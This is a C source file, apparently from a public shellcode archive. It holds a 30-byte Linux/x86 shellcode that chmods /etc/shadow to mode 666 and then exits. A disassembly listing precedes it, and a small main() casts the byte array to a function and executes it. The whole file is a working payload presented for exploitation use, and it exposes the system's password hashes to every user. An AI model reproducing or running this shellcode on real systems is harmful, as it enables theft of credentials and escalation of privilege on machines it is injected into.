/*
   Linux/x86 - chmod() 666 /etc/shadow & exit()
     
  Info reg
        ------------------
     %eax = 15
     %ebx = /etc/shadow
     %ecx = 666

        %eax = 1
        %ebx = 0
   
   Shellcode 30 bytes
   Author: Jonathan Salwan < submit [AT] shell-storm.org >
   Web: http://www.shell-storm.org

 Disassembly of section .text:

 08048054 <.text>:
 8048054:  51                     push   %ecx
 8048055:  66 b9 b6 01            mov    $0x1b6,%cx
 8048059:  68 61 64 6f 77         push   $0x776f6461
 804805e:  68 63 2f 73 68         push   $0x68732f63
 8048063:  68 2f 2f 65 74         push   $0x74652f2f
 8048068:  89 e3                  mov    %esp,%ebx
 804806a:  6a 0f                  push   $0xf
 804806c:  58                     pop    %eax
 804806d:  cd 80                  int    $0x80
 804806f:  40                     inc    %eax
 8048070:  cd 80                  int    $0x80

*/

#include "stdio.h"

int main(int argc, char *argv[])
{

  char shellcode[] =   "\x51\x66\xb9\xb6"
        "\x01\x68\x61\x64"
        "\x6f\x77\x68\x63"
        "\x2f\x73\x68\x68"
        "\x2f\x2f\x65\x74"
        "\x89\xe3\x6a\x0f"
        "\x58\xcd\x80"

        "\x40\xcd\x80";

  printf("Length: %d\n",strlen(shellcode));
  (*(void(*)()) shellcode)();
  
  return 0;
}